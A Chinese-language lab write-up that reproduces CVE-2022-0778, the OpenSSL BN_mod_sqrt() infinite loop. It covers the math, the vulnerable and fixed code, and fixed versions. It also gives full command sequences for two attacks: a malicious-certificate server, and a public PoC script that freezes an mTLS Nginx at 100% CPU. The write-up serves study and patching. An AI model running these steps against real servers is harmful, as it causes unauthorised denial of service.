CVE-2022-0778 是 OpenSSL 大数运算库 BN_mod_sqrt() 函数的无限循环漏洞。该函数实现 Tonelli-Shanks 算法计算模平方根,前提是模数 为素数,但入口没有素性校验;攻击者构造包含合数模数的 X.509 证书,任何解析该证书的程序都会陷入死循环,进程 CPU 占用率升至 100%,构成拒绝服务。证书解析发生在签名验证之前,攻击证书无需有效签名,攻击者也无需通过任何身份验证。CVSS 7.5,影响 OpenSSL 1.0.2、1.1.1、3.0 三个分支。
复现基于 Vulhub 的 openssl/CVE-2022-0778 靶场(OpenSSL 1.1.1m),覆盖两个场景:正文记录被动场景,诱使目标访问攻击者控制的恶意服务器;最后一节记录主动场景,向开启客户端证书校验(mTLS)的 Nginx 服务直接注入恶意证书。
漏洞基础信息
| 漏洞编号 | CVSS 评分 | 影响版本 | 漏洞类型 |
|---|---|---|---|
| CVE-2022-0778 | 7.5 | OpenSSL 1.0.2–1.0.2zc、1.1.1–1.1.1m、3.0.0–3.0.1 | 拒绝服务攻击(DoS) |
漏洞复现
复现环境准备
使用 Vulhub 快速搭建漏洞环境:
┌──(kali㉿kali)-[~]└─$ apt install docker.io docker-compose # 安装 Docker 和 docker-compose└─$ git clone https://github.com/vulhub/vulhub.git # 将 Vulhub 项目克隆到本地└─$ cd vulhub/openssl/CVE-2022-0778
┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]└─$ docker-compose up -d # 拉取镜像并启动容器└─$ docker ps # 确认容器启动状态
acdab61f4c10 vulhub/openssl:1.1.1m-with-curl "sleep infinity" 18 minutes ago Up 18 minutes cve-2022-0778-curl-1查看当前靶机的 openssl 版本:
┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]└─$ cat docker-compose.yml # 查看容器服务名称version: '2'services: curl: image: vulhub/openssl:1.1.1m-with-curl command: sleep infinity
└─$ docker compose exec curl openssl versionOpenSSL 1.1.1m 14 Dec 2021 # 该版本在受影响范围内恶意服务器搭建
复现的思路是诱使靶机连接攻击者控制的恶意服务器,在解析证书时触发漏洞。首先搭建恶意服务器,监听 12345 端口,任何连接到此端口的 HTTPS 请求,都会收到一个包含畸形椭圆曲线参数的证书:
┌──(kali㉿kali)-[~]└─$ docker pull yywing/cve-2022-0778└─$ docker run -it --rm -p 12345:12345 yywing/cve-2022-0778 --addr 0.0.0.0:12345start server查看容器启动情况:
┌──(kali㉿kali)-[~]└─$ docker ps
e5c6e121cddf yywing/cve-2022-0778 "badserver --addr 0.…" 4 seconds ago Up 4 seconds 0.0.0.0:12345->12345/tcp, :::12345->12345/tcp condescending_sutherland触发漏洞
打开一个新的终端窗口,在受害者容器内运行 top 实时监控资源占用,重点关注 %CPU 列,按下 1 可以查看每个 CPU 核心的使用情况:
┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]└─$ docker compose exec curl top
回到靶机,模拟受害者访问恶意服务器的过程:
┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]└─$ docker compose exec curl bashroot@acdab61f4c10:/# curl -k 192.168.31.152:12345这时候从先前打开的监控窗口可以看到 curl 的 CPU 使用率飙升至 100%。

至此完成了被动场景的复现。主动攻击场景见下文“主动攻击 mTLS 目标”一节。
漏洞核心原理
椭圆曲线密码学(ECC)的运算建立在素数有限域上:曲线参数中的模数 必须是素数,运算才有定义。OpenSSL 解析 X.509 证书中的显式椭圆曲线参数时,会调用大数库的 BN_mod_sqrt() 函数计算模平方根,用于重建椭圆曲线点或校验参数。该函数假定 为素数,入口却没有素性校验,这就是畸形参数能够触发漏洞的位置。
数学基础与算法机理
模平方根定义
给定一个整数 和一个素数 ,若存在 满足:
则称 为 模 的平方根。若此方程有解,则 称为模 的二次剩余(Quadratic Residue)。
Tonelli-Shanks 算法逻辑
OpenSSL 的 BN_mod_sqrt() 函数实现了 Tonelli-Shanks 算法,用于求解上述方程。算法步骤如下:
- 分解:将 分解为 的形式,其中 为奇数;
- 寻找非剩余:寻找一个 ,使 是模 的二次非剩余(Quadratic Non-residue);
- 迭代计算:通过循环迭代,利用 的幂次逐步修正 的幂次,最终逼近平方根。
漏洞触发核心:合数参数下的无限循环
Tonelli-Shanks 算法的正确性和收敛性建立在 必须为素数这一数学前提之上。在 为素数的情况下,欧拉准则(Euler’s Criterion)保证了有限域中约有 的元素是二次非剩余,因此算法能以极高概率迅速找到 并进入后续迭代。BN_mod_sqrt() 的文档注释也写明了这一点(‘p’ must be prime!)但函数本身没有执行素性检查。
在 CVE-2022-0778 中,攻击者通过修改证书的 Explicit Curve Parameters,将模数 替换为一个合数。查看 OpenSSL 1.1.1m 中 crypto/bn/bn_sqrt.c 的实现,Tonelli-Shanks 主循环里查找阶的部分如下:
/* find smallest i such that b^(2^i) = 1 */i = 1;if (!BN_mod_sqr(t, b, p, ctx)) goto end;while (!BN_is_one(t)) { i++; if (i == e) { BNerr(BN_F_BN_MOD_SQRT, BN_R_NOT_A_SQUARE); goto end; } if (!BN_mod_mul(t, t, t, p, ctx)) goto end;}在素数域下,这段循环最多执行 次就会终止:要么 变为 1(找到阶),要么 递增到 触发保护退出。当 为合数时,模幂运算的周期性质不再成立, 可能永远不等于 1;而外层循环每轮会执行 e = i 把 更新为更小的值,一旦 越过了当前的 ,i == e 这个相等判断就永远不再成立,循环无法终止,进程停留在循环内持续消耗 CPU。
1.1.1n 的修复把这段循环改成了有界形式:
/* Find the smallest i, 0 < i < e, such that b^(2^i) = 1. */for (i = 1; i < e; i++) { if (i == 1) { if (!BN_mod_sqr(t, b, p, ctx)) goto end; } else { if (!BN_mod_mul(t, t, t, p, ctx)) goto end; } if (BN_is_one(t)) break;}/* If not found, a is not a square or p is not prime. */if (i >= e) { BNerr(BN_F_BN_MOD_SQRT, BN_R_NOT_A_SQUARE); goto end;}循环边界由 for 语句保证,无论 是否为素数,循环都会在 步内退出,未找到结果时报错返回。
漏洞利用路径:ASN.1 编码注入
攻击向量构造
攻击者无需伪造证书签名。利用工具(如 jkakavas/CVE-2022-0778-POC)通过以下步骤构造载荷:
- 修改字段:定位 ASN.1 结构中的 prime-field 字段;
- 注入合数:将合数编码进 parameters 对象;
- 触发解析:将包含该参数的证书作为客户端证书(Client Certificate)在 TLS 握手阶段发送。
绕过验证
解析逻辑发生在证书链校验(Signature Verification)之前。当服务器(如 Nginx)调用 d2i_X509 系列函数将二进制流转换为内部结构时,就会触发参数解析,CPU 耗尽先于任何证书校验发生,因此攻击证书无需有效签名。
主动攻击 mTLS 目标
前一节的复现是被动场景:攻击者搭建恶意服务器,等待受害者主动访问。这一节改为主动场景:攻击者直接向目标网站的 TLS 端口注入恶意证书,瘫痪开启客户端证书校验的服务。
搭建环境
在原来 vulhub/openssl/CVE-2022-0778 目录下新建一个存放证书的文件夹并生成一个自签名的服务器证书:
┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]└─$ docker-compose down # 先关闭容器(如果启动)└─$ mkdir certs└─$ openssl req -x509 -newkey rsa:2048 -keyout certs/server.key -out certs/server.crt -days 365 -nodes -subj "/C=CN/ST=BJ/L=BJ/O=Test/OU=Test/CN=localhost"...(密钥生成的进度点输出省略)-----在当前目录下创建 Nginx 配置文件:nginx.conf,并开启双向认证 ssl_verify_client on:
events { worker_connections 1024; }http { server { listen 443 ssl; server_name localhost;
# Nginx 自身的证书 ssl_certificate /etc/nginx/certs/server.crt; ssl_certificate_key /etc/nginx/certs/server.key;
# 核心设置:要求客户端提供证书,触发漏洞解析逻辑 ssl_verify_client on;
# 指向一个 CA(这里暂时指向我们自己的 crt 即可) # 漏洞触发在证书解析阶段,早于证书链验证阶段 ssl_client_certificate /etc/nginx/certs/server.crt;
location / { root /usr/share/nginx/html; index index.html; } }}修改原有的 docker-compose.yml 文件,增加 nginx 服务:
version: '2'services: curl: image: vulhub/openssl:1.1.1m-with-curl command: sleep infinity nginx: image: nginx:1.18.0 ports: - "443:443" volumes: - ./nginx.conf:/etc/nginx/nginx.conf:ro - ./certs:/etc/nginx/certs:ro重新拉取镜像启动容器:
┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]└─$ docker-compose up -d└─$ docker ps
7f9bbf12a482 nginx:1.18.0 "/docker-entrypoint.…" 17 minutes ago Up 17 minutes 80/tcp, 0.0.0.0:443->443/tcp, :::443->443/tcp cve-2022-0778-nginx-1c5e20348f12c vulhub/openssl:1.1.1m-with-curl "sleep infinity" 17 minutes ago Up 17 minutes cve-2022-0778-curl-1验证配置:
┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]└─$ docker compose exec nginx nginx -T | grep ssl_verify_clientssl_verify_client on;输出 ssl_verify_client on;,说明靶机已准备好解析发来的客户端证书。
启动监控:Nginx 官方镜像基于极简的 Debian 或 Alpine 系统,为了减小体积没有安装 top 命令。可以使用 docker stats 监控,无需进入容器内部。攻击前 CPU % 接近 0%。
目标探测
┌──(kali㉿kali)-[~]└─$ nmap -sS -Pn -T4 -sV -p- --script "default" 192.168.31.148
# 扫描结果PORT STATE SERVICE VERSION443/tcp open ssl/http nginx 1.18.0| tls-alpn:|_ http/1.1| ssl-cert: Subject: commonName=localhost/organizationName=Test/stateOrProvinceName=BJ/countryName=CN| Not valid before: 2026-01-23T17:24:27|_Not valid after: 2027-01-23T17:24:27|_ssl-date: TLS randomness does not represent time|_http-server-header: nginx/1.18.0|_http-title: 400 No required SSL certificate was sent| tls-nextprotoneg:|_ http/1.1MAC Address: 00:0C:29:B3:23:74 (VMware)nginx 1.18.0:确认了服务版本。该镜像内的 OpenSSL 属于受影响版本,这一点由后续攻击成功得到验证。
400 No required SSL certificate was sent:这是最关键的一行。它表明当 Nmap 尝试访问网页时,服务器返回了 400 错误,并明确提示“未发送所需的 SSL 证书”。这证实了靶机的 ssl_verify_client on; 配置已生效。
commonName=localhost/organizationName=Test/stateOrProvinceName=BJ/countryName=CN:这显示了之前手动生成的自签名服务器证书已挂载成功。
发起攻击
本次复现使用了jkakavas的 POC。较新版本的 Kali Linux 遵循 PEP 668 规范,禁止直接在全局环境中使用 pip 安装包,因此需要创建一个虚拟环境。
┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]└─$ git clone https://github.com/jkakavas/CVE-2022-0778-POC.git└─$ cd CVE-2022-0778-POC
┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778/CVE-2022-0778-POC]└─$ python3 -m venv CVE-2022-0778-venv└─$ source CVE-2022-0778-venv/bin/activate # 切换虚拟环境
┌──(CVE-2022-0778-venv)─(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778/CVE-2022-0778-POC]└─$ pip install -r requirements.txt # 安装依赖注意,这个脚本使用了异步库 asyncore,Python 官方在 3.6 版本将其标记为弃用,并在 3.12 版本中彻底移除(PEP 594)。社区为解决这个问题提供了独立的 pyasyncore 包,因此还需要执行 pip install pyasyncore,保证 tlslite-ng 正常运行。
开始攻击:
┌──(CVE-2022-0778-venv)─(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778/CVE-2022-0778-POC]└─$ python3 main.py --server 192.168.31.148 --port 443Crafted Certificate msg sent, check server.此时立即查看 Nginx 监控,CPU % 从接近 0% 直接跃升并稳定在 100%,说明已经通过注入畸形证书,使 Nginx 的解析进程陷入死循环。

修复方案
官方于 2022 年 3 月 15 日发布修复版本:
- OpenSSL 3.0.2(修复 3.0.0–3.0.1)
- OpenSSL 1.1.1n(修复 1.1.1–1.1.1m)
- OpenSSL 1.0.2zd(修复 1.0.2–1.0.2zc;1.0.2 分支已停止主流维护,建议迁移到受支持版本)
代码层面的修复是把 BN_mod_sqrt() 中查找阶的循环改为有界形式(见“漏洞核心原理”一节)。3.0 分支的触发条件略有不同:公钥不在证书初始解析时处理,任何需要用到证书公钥的操作(例如验证自签名证书的签名)都会触发无限循环。
无法立即升级的场景,应避免解析来自不可信来源的证书和私钥。
参考链接
- OpenSSL 官方公告(2022-03-15):https://openssl-library.org/news/secadv/20220315.txt
- NVD:https://nvd.nist.gov/vuln/detail/cve-2022-0778
- Vulhub 靶场:https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2022-0778
- jkakavas POC(本文攻击工具):https://github.com/jkakavas/CVE-2022-0778-POC
- drago-96 原始 PoC:https://github.com/drago-96/CVE-2022-0778